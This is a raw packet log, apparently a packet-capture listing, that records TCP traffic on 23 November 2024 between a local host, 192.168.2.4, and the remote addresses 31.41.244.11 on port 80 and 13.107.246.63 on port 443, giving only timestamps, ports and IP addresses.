Nov 23, 2024 11:22:14.899454117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.899498940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.899590015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.899636030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.900393963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.900444984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.900569916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.900615931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.901413918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.901460886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.901504993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.901551962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.902380943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.902429104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.902498960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.902548075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.903404951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.903451920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.903533936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.903578043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.904463053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.904511929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.904553890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.904597998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.905414104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.905463934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.905524015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.905570030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.906383038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.906430960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.906508923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.906558990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.907407045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.907458067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.907495022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.907541037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.908457041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.908507109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.908533096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.908577919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.909447908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.909495115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.909737110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.909780979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.910404921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.910449982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.910506964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.910552025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.911393881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.911463022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.911544085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.911588907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.912457943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.912511110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.912587881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.912631989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.913402081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.913450956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.913522959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.913569927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.914417982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.914467096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.914527893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.914596081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.915411949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.915481091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.915555954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.915607929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.916389942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.916440010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.916477919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.916521072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.917423964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.917475939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.917551041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.917596102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.918448925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.918493986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.918562889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.918603897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.919368982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.919419050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.919512987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.919555902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.920375109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.920423031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.920473099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.920510054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.921401024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.921451092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.921519995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.921569109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.922389984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.922441959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.922523022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.922569036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.923393965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.923443079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.923579931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.923626900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.924408913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.924457073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.924546957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.924612999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.925456047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.925503016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.925535917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.925580025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.926465988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.926518917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.926636934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.926680088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.927391052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.927437067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.927624941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.927669048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.928373098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.928417921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.928498030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.928543091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.929409027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.929456949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.929579020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.929625034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.930392027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.930438042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.930531979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.930574894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.931411028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.931462049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.931484938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.931529045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.932374001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.932399035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.932425022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.932441950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.933378935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.933434010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.933459044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.933504105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.934387922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.934428930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.934533119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.934577942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.935357094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.935405016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.935499907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.935544014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.936388016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.936435938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.936486959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.936644077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.937377930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.937422991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.937515974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.937561989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.938426018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.938472033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.938559055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.938604116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.939410925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.939455986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.939518929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.939562082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.940404892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.940452099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.940572023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.940615892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.941410065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.941426039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.941454887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.941469908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.977735996 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.977864981 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.977930069 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.978250027 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.978257895 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.978267908 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.978272915 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.981107950 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.981139898 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:14.981216908 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.981365919 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:14.981376886 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.004817963 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.004865885 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.004930019 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.005249977 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.005264044 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.005276918 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.005283117 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.007854939 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.007874012 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.008044958 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.008249044 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.008263111 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.019711971 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.019759893 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.019845963 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.021181107 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.021181107 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.021230936 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.021258116 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.024555922 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.024570942 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.024642944 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.024806976 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:15.024815083 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:15.091151953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.091218948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.091262102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.091304064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.091623068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.091679096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.091775894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.091828108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.092559099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.092612028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.092690945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.092736959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.093645096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.093704939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.093712091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.093749046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.094563961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.094618082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.094665051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.094717026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.095567942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.095618963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.095670938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.095724106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.096525908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.096575975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.096621037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.096666098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.097559929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.097613096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.097712040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.097780943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.098572016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.098628998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.098730087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.098781109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.099560976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.099618912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.099670887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.099723101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.100550890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.100622892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.100667953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.100712061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.101591110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.101643085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.101784945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.101846933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.102588892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.102638960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.102648020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.102698088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.103598118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.103653908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.103661060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.103709936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.104574919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.104631901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.104693890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.104743958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.105581045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.105637074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.105681896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.105731010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.106570005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.106620073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.106651068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.106703997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.107537985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.107589960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.107644081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.107693911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.108530998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.108580112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.108652115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.108704090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.109538078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.109589100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.109668016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.109716892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.110560894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.110615969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.110747099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.110796928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.111536026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.111588001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.111644030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.111682892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.112559080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.112627029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.112678051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.112741947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.113641977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.113693953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.113732100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.113781929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.114619017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.114667892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.114717960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.114763021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.115555048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.115607977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.115658045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.115720987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.116688967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.116745949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.116799116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.116842031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.117531061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.117583036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.117605925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.117655039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.118541002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.118607044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.118619919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.118669033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.119618893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.119695902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.119740963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.119797945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.120569944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.120624065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.120660067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.120708942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.121573925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.121625900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.121643066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.121691942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.122540951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.122600079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.122664928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.122714996 CET	49765	80	192.168.2.4	31.41.244.11
